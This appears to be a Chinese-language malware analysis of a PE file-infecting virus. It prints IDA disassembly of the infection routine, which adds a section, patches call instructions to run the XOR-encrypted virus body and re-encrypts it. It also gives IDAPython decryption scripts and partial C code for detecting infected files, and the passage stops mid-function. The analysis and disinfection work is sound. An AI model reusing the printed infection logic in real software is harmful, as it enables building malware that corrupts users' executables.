.text:0040212F               push    ecx
.text:00402130               push    edx
.text:00402131               push    ebx
.text:00402132               mov   , 0
.text:00402139               mov   eax, 0FFFFh
.text:0040213E               and   , eax

                        打开文件判断是否是pe文件
.text:00402141               push    0               ; hTemplateFile
.text:00402143               push    80h             ; dwFlagsAndAttributes
.text:00402148               push    3               ; dwCreationDisposition
.text:0040214A               push    0               ; lpSecurityAttributes
.text:0040214C               push    3               ; dwShareMode
.text:0040214E               push    0C0000000h      ; dwDesiredAccess
.text:00402153               push    ; lpFileName
.text:00402156 ; nop code
.text:0040215E               call    CreateFileA
.text:00402164               cmp   eax, 0FFFFFFFFh
.text:00402167               jz      @fail
.text:0040216D               mov   , eax
.text:00402170               push    0
.text:00402172               push    40h
.text:00402174               lea   eax,
.text:0040217A               push    eax
.text:0040217B               push   
.text:0040217E               call    Read_fILE       ; arg_0_file_handle= dword ptr8
.text:0040217E                                       ; arg_4_outputbuffer= dword ptr0Ch
.text:0040217E                                       ; arg_8_read_size = dword ptr10h
.text:0040217E                                       ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:00402183               test    eax, eax
.text:00402185               jz      @closehandle
.text:0040218B               cmp   word ptr , 5A4Dh
.text:00402194               jnz   @closehandle
.text:0040219A               push   
.text:004021A0               push    0F8h
.text:004021A5               lea   eax,
.text:004021AB               push    eax
.text:004021AC               push   
.text:004021AF               call    Read_fILE       ; arg_0_file_handle= dword ptr8
.text:004021AF                                       ; arg_4_outputbuffer= dword ptr0Ch
.text:004021AF                                       ; arg_8_read_size = dword ptr10h
.text:004021AF                                       ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:004021B4               test    eax, eax
.text:004021B6               jz      @closehandle
.text:004021BC               cmp   dword ptr , 4550h
.text:004021C6               jnz   @closehandle
.text:004021CC               xor   ecx, ecx
.text:004021CE               xor   edx, edx
.text:004021D0               mov   , edx
.text:004021D3               mov   ebx,
.text:004021D9               add   ebx, 0F8h


                              节的数目不能大于0x10
.text:004021DF               movzx   ecx,
.text:004021E6               cmp   ecx, 10h
.text:004021E9               ja      @closehandle



                              判断是否已经被感染
.text:004021EF
.text:004021EF @check_infect_or_not:                   ; CODE XREF: Infect_EXE_dll+19Dj
.text:004021EF               test    ecx, ecx
.text:004021F1               jz      loc_4022C6
.text:004021F7               push    ebx
.text:004021F8               push    28h
.text:004021FA               lea   eax,
.text:00402200               push    eax
.text:00402201               push   
.text:00402204               call    Read_fILE       ; arg_0_file_handle= dword ptr8
.text:00402204                                       ; arg_4_outputbuffer= dword ptr0Ch
.text:00402204                                       ; arg_8_read_size = dword ptr10h
.text:00402204                                       ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:00402209               test    eax, eax
.text:0040220B               jz      @closehandle
.text:00402211               test    , 20000000h
.text:0040221B               jz      short loc_40223E
.text:0040221D               cmp   , 0
.text:00402221               jnz   short loc_40223E
.text:00402223               mov   eax,
.text:00402229               mov   , eax
.text:0040222C               mov   eax,
.text:00402232               mov   , eax
.text:00402235               mov   eax,
.text:0040223B               mov   , eax
.text:0040223E
.text:0040223E loc_40223E:                           ; CODE XREF: Infect_EXE_dll+F7j
.text:0040223E                                       ; Infect_EXE_dll+FDj
.text:0040223E               push    dword ptr
.text:00402244               push    64h
.text:00402246               lea   eax,
.text:0040224C               push    eax
.text:0040224D               push   
.text:00402250               call    Read_fILE       ; arg_0_file_handle= dword ptr8
.text:00402250                                       ; arg_4_outputbuffer= dword ptr0Ch
.text:00402250                                       ; arg_8_read_size = dword ptr10h
.text:00402250                                       ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:00402255               test    eax, eax
.text:00402257               jz      @closehandle
.text:0040225D               lea   edi,
.text:00402263               mov   eax,
.text:00402265               mov   esi, 64h
.text:0040226A
.text:0040226A @decrypt_first_0x50_section:            ; CODE XREF: Infect_EXE_dll+152j
.text:0040226A               test    esi, esi
.text:0040226C               jz      short @check_infection
.text:0040226E               xor   , eax
.text:00402270               sub   esi, 4
.text:00402273               add   edi, 4
.text:00402276               jmp   short @decrypt_first_0x50_section
.text:00402278 ; ---------------------------------------------------------------------------
.text:00402278
.text:00402278 @check_infection:                     ; CODE XREF: Infect_EXE_dll+148j
.text:00402278               cmp   dword ptr , 77582588h
.text:00402282               jnz   short loc_4022AB
.text:00402284               mov   eax, dword ptr
.text:0040228A               test    eax, 10000h
.text:0040228F               jnz   @already_infected
.text:00402295               and   eax, 0FFFFh
.text:0040229A               cmp   eax,
.text:0040229D               jge   @already_infected
.text:004022A3               mov   , ebx
.text:004022A6               jmp   @patched_call_not_enough
.text:004022AB ; ---------------------------------------------------------------------------
.text:004022AB
.text:004022AB loc_4022AB:                           ; CODE XREF: Infect_EXE_dll+15Ej
.text:004022AB               mov   eax,
.text:004022B1               add   eax,
.text:004022B7               cmp   eax, edx
.text:004022B9               jbe   short loc_4022BD
.text:004022BB               mov   edx, eax
.text:004022BD
.text:004022BD loc_4022BD:                           ; CODE XREF: Infect_EXE_dll+195j
.text:004022BD               add   ebx, 28h
.text:004022C0               dec   ecx
.text:004022C1               jmp   @check_infect_or_not
.text:004022C6 ; ---------------------------------------------------------------------------
.text:004022C6
.text:004022C6 loc_4022C6:                           ; CODE XREF: Infect_EXE_dll+CDj
.text:004022C6               mov   , edx
.text:004022C9               mov   , ebx
.text:004022CC               mov   eax,
.text:004022D2               mov   , eax


                        判断头部是否有足够的空间添加一个节表,并且有空间且空间必须全部为00
.text:004022D5               movzx   ecx,
.text:004022DC               mov   eax, 28h
.text:004022E1               mul   ecx
.text:004022E3               add   eax, 0F8h
.text:004022E8               mov   edx,
.text:004022EE               sub   edx, eax
.text:004022F0               cmp   edx, 28h
.text:004022F3               jb      @closehandle
.text:004022F9               push   
.text:004022FC               push    28h
.text:004022FE               lea   eax,
.text:00402304               push    eax
.text:00402305               push   
.text:00402308               call    Read_fILE       ; arg_0_file_handle= dword ptr8
.text:00402308                                       ; arg_4_outputbuffer= dword ptr0Ch
.text:00402308                                       ; arg_8_read_size = dword ptr10h
.text:00402308                                       ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:0040230D               test    eax, eax
.text:0040230F               jz      @closehandle
.text:00402315               lea   eax,
.text:0040231B               mov   ecx, 28h
.text:00402320
.text:00402320 @check_:                              ; CODE XREF: Infect_EXE_dll+20Bj
.text:00402320               test    ecx, ecx
.text:00402322               jz      short loc_402331
.text:00402324               cmp   byte ptr , 0
.text:00402327               jnz   @closehandle
.text:0040232D               inc   eax
.text:0040232E               dec   ecx
.text:0040232F               jmp   short @check_
.text:00402331 ; ---------------------------------------------------------------------------
.text:00402331
.text:00402331 loc_402331:                           ; CODE XREF: Infect_EXE_dll+1FEj
.text:00402331               push    0               ; lpFileSizeHigh
.text:00402333               push       ; hFile
.text:00402336 ; nop code
.text:0040233E ; ---------------------------------------------------------------------------
.text:0040233E               call    GetFileSize
.text:00402344               cmp   eax, 0FFFFFFFFh
.text:00402347               jz      @closehandle
.text:0040234D               mov   , eax
.text:00402350               xor   edx, edx
.text:00402352               mov   eax,
.text:00402355               mov   ecx,
.text:0040235B               div   ecx
.text:0040235D               test    edx, edx
.text:0040235F               jz      short loc_402366
.text:00402361               sub   ecx, edx
.text:00402363               add   , ecx
.text:00402366
.text:00402366 loc_402366:                           ; CODE XREF: Infect_EXE_dll+23Bj
.text:00402366               xor   edx, edx
.text:00402368               mov   , edx
.text:0040236B               mov   eax,
.text:0040236E               mov   , eax
.text:00402371               mov   ecx,
.text:00402377               div   ecx
.text:00402379               test    edx, edx
.text:0040237B               jz      short loc_402385
.text:0040237D               sub   ecx, edx
.text:0040237F               mov   , ecx
.text:00402382               add   , ecx
.text:00402385
.text:00402385 loc_402385:                           ; CODE XREF: Infect_EXE_dll+257j
.text:00402385               jmp   short loc_4023F3
.text:00402387 ; ---------------------------------------------------------------------------
.text:00402387
.text:00402387 @patched_call_not_enough:               ; CODE XREF: Infect_EXE_dll+182j
.text:00402387               mov   edi, 14h
.text:0040238C
.text:0040238C loc_40238C:                           ; CODE XREF: Infect_EXE_dll+28Fj
.text:0040238C               cmp   edi, 54h
.text:0040238F               jge   short loc_4023B5
.text:00402391               mov   ecx, dword ptr ss:
.text:00402399               test    ecx, ecx
.text:0040239B               jz      short loc_4023B5
.text:0040239D               push    ecx
.text:0040239E               push    4
.text:004023A0               lea   eax,
.text:004023A7               push    eax
.text:004023A8               push   
.text:004023AB               call    Write_File      ; arg_0_hFile   = dword ptr8
.text:004023AB                                       ; arg_4_inputbuffer= dword ptr0Ch
.text:004023AB                                       ; arg_8_wriesize= dword ptr10h
.text:004023AB                                       ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:004023B0               add   edi, 8
.text:004023B3               jmp   short loc_40238C
.text:004023B5 ; ---------------------------------------------------------------------------
.text:004023B5
.text:004023B5 loc_4023B5:                           ; CODE XREF: Infect_EXE_dll+26Bj
.text:004023B5                                       ; Infect_EXE_dll+277j
.text:004023B5               mov   eax, dword ptr
.text:004023BB               mov   , eax
.text:004023BE               mov   , eax
.text:004023C4               mov   eax,
.text:004023CA               mov   , eax
.text:004023CD               mov   eax,
.text:004023D3               mov   , eax
.text:004023D6               mov   , eax
.text:004023D9               mov   , 0
.text:004023E0               mov   eax,
.text:004023E6               sub   , eax
.text:004023EC               dec   
.text:004023F3
.text:004023F3 loc_4023F3:                           ; CODE XREF: Infect_EXE_dll:loc_402385j
.text:004023F3               xor   eax, eax
.text:004023F5               mov   , eax
.text:004023F8               mov   eax,
.text:004023FB               test    eax, eax
.text:004023FD               jz      @closehandle
.text:00402403               cmp   eax, 6400000h
.text:00402408               ja      @closehandle
.text:0040240E               push    eax             ; dwBytes
.text:0040240F               push    0               ; uFlags
.text:00402411 ; nop code
.text:00402419 ; ---------------------------------------------------------------------------
.text:00402419               call    GlobalAlloc
.text:0040241F               test    eax, eax
.text:00402421               jz      @closehandle
.text:00402427               mov   , eax
.text:0040242A               push   
.text:0040242D               push   
.text:00402430               push   
.text:00402433               push   
.text:00402436               call    Read_fILE       ; arg_0_file_handle= dword ptr8
.text:00402436                                       ; arg_4_outputbuffer= dword ptr0Ch
.text:00402436                                       ; arg_8_read_size = dword ptr10h
.text:00402436                                       ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:0040243B               test    eax, eax
.text:0040243D               jnz   short loc_402455
.text:0040243F               push    ; hMem
.text:00402442 ; nop code
.text:0040244A ; ---------------------------------------------------------------------------
.text:0040244A               call    GlobalFree
.text:00402450               jmp   @closehandle
.text:00402455 ; ---------------------------------------------------------------------------
.text:00402455
.text:00402455 loc_402455:                           ; CODE XREF: Infect_EXE_dll+319j
.text:00402455               mov   ecx,
.text:00402458               mov   esi,
.text:0040245B               mov   , 6
.text:00402462               xor   edx, edx
.text:00402464               mov   eax, ecx
.text:00402466               div   
.text:00402469               mov   , eax



从第一个节的开始搜索call指令,然后判断call指令的目的地址的指令是否是

push reg 或者mov edi,edi 或者sub ebp,xxx

如果满足条件的,则记录下call的相关信息,在下一个块内搜索,否则继续从下一个byte搜索

程序一共搜索了6个call 对有些程序可能不一定能够搜到6个call。
相关结构:

struct patch_call_info
{
+0 dword found_call_dest_address_rva call的目的地址的rva
+4 dword patched_call_fileoffset_jia_1 要patch的call的地址+1的文件偏移 43c
+8 dword patched_call_dword      要patch call的e8后面的dword
+c dword found_call_offset 要patchcall的后面的偏移0xa33f8                  
}


.text:0040246C
.text:0040246C @found_patch_call:                      ; CODE XREF: Infect_EXE_dll+3FBj
.text:0040246C                                       ; Infect_EXE_dll+402j
.text:0040246C               cmp   ecx, 0Ah
.text:0040246F               jbe   loc_40252B
.text:00402475               cmp   byte ptr , 0E8h
.text:00402478               jnz   @not
.text:0040247E               mov   eax, esi
.text:00402480               sub   eax,
.text:00402483               add   eax, 5
.text:00402486               mov   ebx, eax
.text:00402488               add   eax,
.text:0040248B               mov   edx,
.text:0040248E               sub   edx, 4
.text:00402491               cmp   eax, edx
.text:00402493               jnb   @not
.text:00402499               add   eax,
.text:0040249C               mov   edx,
.text:0040249E               and   edx, 0F8h
.text:004024A4               cmp   edx, 50h
.text:004024A7               jz      short @found
.text:004024A9               cmp   word ptr , 0EC83h
.text:004024AE               jz      short @found
.text:004024B0               cmp   word ptr , 0FF8Bh
.text:004024B4               jnz   short @not
.text:004024B6
.text:004024B6 @found:                                 ; CODE XREF: Infect_EXE_dll+383j
.text:004024B6                                       ; Infect_EXE_dll+38Aj
.text:004024B6               mov   edi,
.text:004024B9               shl   edi, 4
.text:004024BC               sub   eax,
.text:004024BF               add   eax,
.text:004024C2               mov   ss:, eax
.text:004024CA               mov   eax, ebx
.text:004024CC               sub   eax, 4
.text:004024CF               add   eax,
.text:004024D2               mov   ss:, eax
.text:004024DA               mov   eax,
.text:004024DD               mov   edx, 0Ah
.text:004024E2               mul   edx
.text:004024E4               add   eax,
.text:004024E7               add   eax, 5EE3h
.text:004024EC               add   ebx,
.text:004024EF               sub   eax, ebx
.text:004024F1               mov   ss:, eax
.text:004024F9               mov   eax,
.text:004024FC               mov   ss:, eax
.text:00402504               inc   
.text:00402507               cmp   , 6
.text:0040250B               jz      short loc_40252B
.text:0040250D               mov   eax,
.text:00402510               mov   edx,
.text:00402513               mul   edx
.text:00402515               mov   ecx,
.text:00402518               sub   ecx, eax
.text:0040251A               mov   esi,
.text:0040251D               add   esi, eax
.text:0040251F               jmp   @found_patch_call
.text:00402524 ; ---------------------------------------------------------------------------
.text:00402524
.text:00402524 @not:                                 ; CODE XREF: Infect_EXE_dll+354j
.text:00402524                                       ; Infect_EXE_dll+36Fj ...
.text:00402524               dec   ecx
.text:00402525               inc   esi
.text:00402526               jmp   @found_patch_call
.text:0040252B ; ---------------------------------------------------------------------------
.text:0040252B
.text:0040252B loc_40252B:                           ; CODE XREF: Infect_EXE_dll+34Bj
.text:0040252B                                       ; Infect_EXE_dll+3E7j
.text:0040252B               push    ; hMem
.text:0040252E ; nop code
.text:00402536 ; ---------------------------------------------------------------------------
.text:00402536               call    GlobalFree
.text:0040253C               cmp   , 0
.text:00402540               jz      @closehandle
.text:00402546               xor   edx, edx
.text:00402548               mov   eax, 960Ah
.text:0040254D               mov   , eax
.text:00402550               mov   ecx,
.text:00402556               div   ecx
.text:00402558               test    edx, edx
.text:0040255A               jz      short loc_402561
.text:0040255C               sub   ecx, edx
.text:0040255E               add   , ecx
.text:00402561
.text:00402561 loc_402561:                           ; CODE XREF: Infect_EXE_dll+436j
.text:00402561               xor   edx, edx



                        更新pe头
.text:00402563               mov   , 960Ah
.text:0040256A               mov   eax,
.text:0040256D               mov   ecx,
.text:00402573               div   ecx
.text:00402575               test    edx, edx
.text:00402577               jz      short loc_40257E
.text:00402579               sub   ecx, edx
.text:0040257B               add   , ecx
.text:0040257E
.text:0040257E loc_40257E:                           ; CODE XREF: Infect_EXE_dll+453j
.text:0040257E               inc   
.text:00402585               mov   , 0
.text:0040258F               mov   eax,
.text:00402592               add   , eax
.text:00402598               push   
.text:0040259E               push    0F8h
.text:004025A3               lea   eax,
.text:004025A9               push    eax
.text:004025AA               push   
.text:004025AD               call    Write_File      ; arg_0_hFile   = dword ptr8
.text:004025AD                                       ; arg_4_inputbuffer= dword ptr0Ch
.text:004025AD                                       ; arg_8_wriesize= dword ptr10h
.text:004025AD                                       ; arg_c_offset_to_write_from_file_begin= dword ptr14h


                        跟新添加节的节表
.text:004025B2               mov   eax,
.text:004025B5               mov   , eax
.text:004025BB               mov   eax,
.text:004025BE               mov   , eax
.text:004025C4               mov   eax,
.text:004025C7               mov   , eax
.text:004025CD               mov   eax,
.text:004025D0               mov   , eax
.text:004025D6               mov   , 0E00000E0h
.text:004025E0               mov   dword ptr , 7273722Eh
.text:004025EA               mov   dword ptr , 63h
.text:004025F4               push   
.text:004025F7               push    28h
.text:004025F9               lea   eax,
.text:004025FF               push    eax
.text:00402600               push   
.text:00402603               call    Write_File      ; arg_0_hFile   = dword ptr8
.text:00402603                                       ; arg_4_inputbuffer= dword ptr0Ch
.text:00402603                                       ; arg_8_wriesize= dword ptr10h
.text:00402603                                       ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:00402608               mov   ecx,
.text:0040260B               xor   edx, edx


                        修改第一个节的call的目的地址跳向添加节
.text:0040260D
.text:0040260D @patch_call_to_jmp_added_section:       ; CODE XREF: Infect_EXE_dll+50Ej
.text:0040260D               test    ecx, ecx
.text:0040260F               jz      short loc_402634
.text:00402611               mov   esi, edx
.text:00402613               shl   esi, 4
.text:00402616               push    ss:
.text:0040261E               push    4
.text:00402620               lea   eax,
.text:00402627               push    eax
.text:00402628               push   
.text:0040262B               call    Write_File      ; arg_0_hFile   = dword ptr8
.text:0040262B                                       ; arg_4_inputbuffer= dword ptr0Ch
.text:0040262B                                       ; arg_8_wriesize= dword ptr10h
.text:0040262B                                       ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:00402630               dec   ecx
.text:00402631               inc   edx
.text:00402632               jmp   short @patch_call_to_jmp_added_section
.text:00402634 ; ---------------------------------------------------------------------------
.text:00402634
.text:00402634 loc_402634:                           ; CODE XREF: Infect_EXE_dll+4EBj
.text:00402634               mov   eax,
.text:00402637               add   eax,
.text:0040263A               mov   , eax
.text:0040263D               push    eax             ; dwBytes
.text:0040263E               push    40h             ; uFlags
.text:00402640 ; nop code
.text:00402648 ; ---------------------------------------------------------------------------



                        拷贝病毒体 并记录一些重要信息到添加节的开始处
.text:00402648               call    GlobalAlloc
.text:0040264E               test    eax, eax
.text:00402650               jz      @closehandle
.text:00402656               mov   , eax
.text:00402659               mov   ecx, 960Ah
.text:0040265E               mov   edi,
.text:00402661               add   edi,
.text:00402664 ; nop code
.text:0040266B               mov   esi, offset dword_401000
.text:00402670               rep movsb               ; 00401000 +filesize_mod_filealigment-> alloc_address2 +filesize_mod_filealigment 0x960a bytes
.text:00402672               mov   ebx,
.text:00402675               add   ebx,
.text:00402678               mov   edi, 77582588h
.text:0040267D               mov   , edi
.text:00402680               mov   edi,
.text:00402683               mov   , edi
.text:00402686               mov   eax,
.text:00402689               mov   , eax
.text:0040268C               mov   edi, ebx
.text:0040268E               add   edi, 5EDFh
.text:00402694               mov   dword ptr , 0
.text:0040269A               xor   edx, edx


                      修改添加节的代码使其跳向原始的代码
.text:0040269C
.text:0040269C @patch_call_in_addedsection_jmp_original_place:
.text:0040269C                                       ; CODE XREF: Infect_EXE_dll+5CCj
.text:0040269C               cmp   edx,
.text:0040269F               jz      short loc_4026F2
.text:004026A1               mov   esi, edx
.text:004026A3               shl   esi, 4          ; esi = counter << 4
.text:004026A6               mov   ecx, ss:
.text:004026AE               mov   eax, 0Ah
.text:004026B3               mul   dl
.text:004026B5               add   eax, 5EE3h
.text:004026BA               mov   edi, eax
.text:004026BC               add   edi, 6          ; edi = counter * 0x0a + 5ee3 + 6
.text:004026BF               add   eax, 0Ah      ; eax =(counter +1)* 0xa + 5ee3
.text:004026C2               add   eax,
.text:004026C5               sub   ecx, eax
.text:004026C7               add   edi, ebx
.text:004026C9               mov   , ecx
.text:004026CB               mov   edi, edx
.text:004026CD               shl   edi, 3
.text:004026D0               add   edi, 14h
.text:004026D3               add   edi, ebx
.text:004026D5               mov   eax, ss:
.text:004026DD               mov   , eax
.text:004026DF               mov   eax, ss:
.text:004026E7               mov   , eax
.text:004026EA               xor   eax, eax
.text:004026EC               mov   , eax
.text:004026EF               inc   edx
.text:004026F0               jmp   short @patch_call_in_addedsection_jmp_original_place
.text:004026F2 ; nop code
.text:004026FA ; ---------------------------------------------------------------------------



                        对病毒体进行加密
.text:004026FA               call    GetTickCount
.text:00402700               mov   ebx,
.text:00402703               add   ebx,
.text:00402706               mov   dword ptr , 0
.text:0040270C               mov   ecx, 6106h
.text:00402711
.text:00402711 @encrypt:                               ; CODE XREF: Infect_EXE_dll+60Aj
.text:00402711               cmp   ecx, 4
.text:00402714               jb      short loc_402730
.text:00402716               cmp   ecx, 22Bh
.text:0040271C               jnb   short loc_402726
.text:0040271E               cmp   ecx, 192h
.text:00402724               ja      short loc_402728
.text:00402726
.text:00402726 loc_402726:                           ; CODE XREF: Infect_EXE_dll+5F8j
.text:00402726               xor   , eax
.text:00402728
.text:00402728 loc_402728:                           ; CODE XREF: Infect_EXE_dll+600j
.text:00402728               add   ebx, 4
.text:0040272B               sub   ecx, 4
.text:0040272E               jmp   short @encrypt
.text:00402730 ; ---------------------------------------------------------------------------

                        写入最后一个节的数据
.text:00402730
.text:00402730 loc_402730:                           ; CODE XREF: Infect_EXE_dll+5F0j
.text:00402730               push   
.text:00402733               push   
.text:00402736               push   
.text:00402739               push   
.text:0040273C               call    Write_File      ; arg_0_hFile   = dword ptr8
.text:0040273C                                       ; arg_4_inputbuffer= dword ptr0Ch
.text:0040273C                                       ; arg_8_wriesize= dword ptr10h
.text:0040273C                                       ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:00402741               push   
.text:00402744 ; nop code
.text:0040274C ; ---------------------------------------------------------------------------
.text:0040274C               call    GlobalFree
.text:00402752
.text:00402752 @already_infected:                      ; CODE XREF: Infect_EXE_dll+16Bj
.text:00402752                                       ; Infect_EXE_dll+179j
.text:00402752               mov   , 1
.text:00402759
.text:00402759 @closehandle:                           ; CODE XREF: Infect_EXE_dll+61j
.text:00402759                                       ; Infect_EXE_dll+70j ...
.text:00402759               push   
.text:0040275C ; nop code
.text:00402764 ; ---------------------------------------------------------------------------
.text:00402764               call    CloseHandle
.text:0040276A
.text:0040276A @fail:                                  ; CODE XREF: Infect_EXE_dll+43j
.text:0040276A               mov   eax,
.text:0040276D               pop   ebx
.text:0040276E               pop   edx
.text:0040276F               pop   ecx
.text:00402770               pop   edi
.text:00402771               pop   esi
.text:00402772               leave
.text:00402773               retn    8
.text:00402773 Infect_EXE_dllendp


一个感染例子
比如:
.text:6B2410E1 89 5C 24 04                     mov   , ebx
.text:6B2410E5 89 34 24                        mov   , esi
.text:6B2410E8 E8 F6 AD 09 00                  call    Patch_call                        被patch的call
.text:6B2410ED 83 EC 0C                        sub   esp, 0Ch
.text:6B2410F0 85 DB                           test    ebx, ebx

目的地址:
.rsrc:6B2DBEE3                   Patch_call      proc near               ; CODE XREF: DllEntryPoint+28p
.rsrc:6B2DBEE3 E8 37 00 00 00                  call    loc_6B2DBF1F                        执行恶意代码
.rsrc:6B2DBEE8 E9 83 03 FD FF                  jmp   sub_6B2AC270                        跳回原来的call的目的地址
.rsrc:6B2DBEE8                   Patch_call      endp
.rsrc:6B2DBEE8




调试程序的时候发现它会抽取call的信息到,添加节的开始处,不过是加密的,解密很简单,加密代码如下:
def decrypt_infected(startva = 0x6b2d6000):
    eax = Dword(startva)
    if eax == 0:
      return
    counter = 0x6106
    while True:
      if counter < 4:
            break
      if (counter > 0x192) and (counter<0x22b):
            startva = startva + 4
            counter = counter -4
      else:
            dword_value = Dword(startva)
            dword_value = dword_value ^ eax
            PatchDword(startva,dword_value)
            startva = startva + 4
            counter = counter -4            
      


def decrypt_main_exe(startva = 0x401000):
    eax = Dword(startva)
    #alreay decrypted?
    if eax ==0:
      return
    counter = 0x6106
    while True:
      if counter < 4:
            break
      if (counter > 0x13c) and (counter<0x182):
            startva = startva + 4
            counter = counter -4
      else:
            dword_value = Dword(startva)
            dword_value = dword_value ^ eax
            PatchDword(startva,dword_value)
            startva = startva + 4
            counter = counter -4

def make_dwords(startva):
    MakeUnknown(startva,0x14+0x6*0xa,0)
    MakeDword(startva)
    MakeDword(startva + 4)
    MakeDword(startva + 8)
    MakeDword(startva + 0xc)
    MakeDword(startva + 0x10)
    i = 0
    curva = startva + 0x14
    while Dword(curva) != 0:
    #for i in range(6):
      
      str = "patch_call_info_%02x" % i
      MakeDword(curva)
      MakeDword(curva + 4)
      MakeName(curva ,str)
      curva = curva + 8
      i = i + 1
      if i > 6:
            break
    MakeDword(curva)
    MakeName(curva,"end")

if __name__ == "__main__":
    print "start to decode"
    segs = Segments()
    last = 0
    for seg in segs:
      #print "0x%x" % seg
      last = seg
    lastSegStart = SegStart(last)
    lastSegEnd = SegEnd(last)
    #print "lastSegStart %08x,lastSegEnd %08x" % (lastSegStart,lastSegEnd)
   
    decrypt_infected(lastSegStart)
    make_dwords(lastSegStart)
    print "finishe"

以一个被感染的样本为例, 脚本运行之后病毒添加节开始:

.rsrc:1E1DD000 00 00 00 00       dd 0
.rsrc:1E1DD004 88 25 58 77       dd 77582588h                解密的key
.rsrc:1E1DD008 06 00 00 00       dd 6                  patch_call_num的最大值
.rsrc:1E1DD00C A0 59 00 00       dd 59A0h                oep rva
.rsrc:1E1DD010 00 00 00 00       dd 0               
.rsrc:1E1DD014 6B 11 00 00       patch_call_info_00 dd 116Bh      
.rsrc:1E1DD018 31 FF FF FF       dd 0FFFFFF31h
.rsrc:1E1DD01C E3 1D 00 00       patch_call_info_01 dd 1DE3h
.rsrc:1E1DD020 79 3A 00 00       dd 3A79h
.rsrc:1E1DD024 AD 2B 00 00       patch_call_info_02 dd 2BADh
.rsrc:1E1DD028 BF F8 FF FF       dd 0FFFFF8BFh
.rsrc:1E1DD02C 88 38 00 00       patch_call_info_03 dd 3888h
.rsrc:1E1DD030 D4 1F 00 00       dd 1FD4h
.rsrc:1E1DD034 94 49 00 00       patch_call_info_04 dd 4994h
.rsrc:1E1DD038 88 D3 FF FF       dd 0FFFFD388h
.rsrc:1E1DD03C 00 00 00 00       end dd 0

struct patch_call_info
{
+0 dword 修改call的文件偏移+1
+4 dword 原来的call 即e8后面的offset
}

这样我们就可以写程序修复了,很久都没有写程序了,大部分时间都花在调试程序上了,这里只列出一些关键部分函数,其他看附件:
判断程序是否被感染:
bool IsInfecterByPriter(char* szFileName)
{
      bool      bReturn = FALSE;


      HANDLE                                        hFile = INVALID_HANDLE_VALUE;
      DWORD                                        dwRead = 0;
      DWORD                                        dwOffset = 0;
      DWORD                                        dwKey = 0;
      DWORD                                        dwTemp = 0;
      DWORD                                        dwImageSize = 0;
      DWORD                                        dwHeadSize = 0;
      LPBYTE                                        MapOfFile = 0;
      DWORD                                        dwFileSize = 0;
      DWORD                                        i = 0;
      IMAGE_NT_HEADERS32*                PE;
      IMAGE_SECTION_HEADER*      SH;
      PDWORD                                        LastSection;
      
      
      hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
      if (hFile == INVALID_HANDLE_VALUE)
                goto Exit0;
      
      //Is ValidPE
      SetFilePointer(hFile, 0, NULL,FILE_BEGIN);
      ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
      if ('ZM' != dwTemp)
                goto Exit0;
      
    SetFilePointer(hFile, 0x3C, NULL,FILE_BEGIN);                  
      ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
      dwTemp = 0;
      SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
      ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
      if ('EP' != dwTemp)
                goto Exit0;
      
      //check the file size
      dwFileSize = GetFileSize(hFile,NULL);
      if (dwFileSize == 0xFFFFFFFF)
                goto Exit0;

      if (0x960a >= dwFileSize)
                goto Exit0;
      
      //Map
    SetFilePointer(hFile, 0x3C, NULL,FILE_BEGIN);                  
      ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
    SetFilePointer(hFile, dwOffset + 0x50, NULL,FILE_BEGIN);
      ReadFile(hFile, &dwImageSize, 4, &dwRead, NULL);         
    SetFilePointer(hFile, dwOffset + 0x54, NULL,FILE_BEGIN);
      ReadFile(hFile, &dwHeadSize, 4, &dwRead, NULL);
      MapOfFile = (LPBYTE)VirtualAlloc(0, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

      if (MapOfFile == 0)
                goto Exit0;

    SetFilePointer(hFile, 0, NULL,FILE_BEGIN);
      ReadFile(hFile, MapOfFile, dwHeadSize, &dwRead, NULL);
      PE = (IMAGE_NT_HEADERS32 *)(MapOfFile + dwOffset);
      SH = IMAGE_FIRST_SECTION32(PE);

      //判断最后一个节的属性
      if ((SH + PE->FileHeader.NumberOfSections -1)->Characteristics != 0xe00000e0)
                goto FreeExit0;      
      dwTemp = (SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData;
      if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData == 0x9800)
                goto Found;
               
               
               
      if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData != 0xa000)
                goto FreeExit0;      


Found:
      for (i = 0; i < PE->FileHeader.NumberOfSections; i ++)
      {
                SetFilePointer(hFile, (SH + i)->PointerToRawData, NULL, FILE_BEGIN);
                ReadFile(hFile, (SH + i)->VirtualAddress + MapOfFile, (SH + i)->SizeOfRawData, &dwRead, NULL);
      }
      LastSection = (PDWORD)(MapOfFile + (SH + PE->FileHeader.NumberOfSections -1)->VirtualAddress);
      dwKey = *LastSection;
      //dwTemp = *(PDWORD)(LastSection + 1);
      *(LastSection + 1) = *(LastSection + 1) ^ dwKey;
      
      //解密后,判断最后一个节开始的数据
      if (*(LastSection + 1) != 0x77582588)
                goto      FreeExit0;

      *(LastSection + 2) = *(LastSection + 2) ^ dwKey;
      dwTemp = *(LastSection + 2);
      if (*(LastSection + 2) != 6)
                goto      FreeExit0;

      
      
      //Save
      pSaveInfo = (PINFO)malloc(sizeof(INFO));
      memset(pSaveInfo, 0, sizeof(INFO));
      strcpy(pSaveInfo->szFileName, szFileName);
      pSaveInfo->MapOfFile = MapOfFile;
      pSaveInfo->PE = PE;
      pSaveInfo->SH = SH;      
      pSaveInfo->dwKey = dwKey;
      pSaveInfo->dwimagesize = dwImageSize;

      bReturn = TRUE;

      goto      Exit0;
FreeExit0:

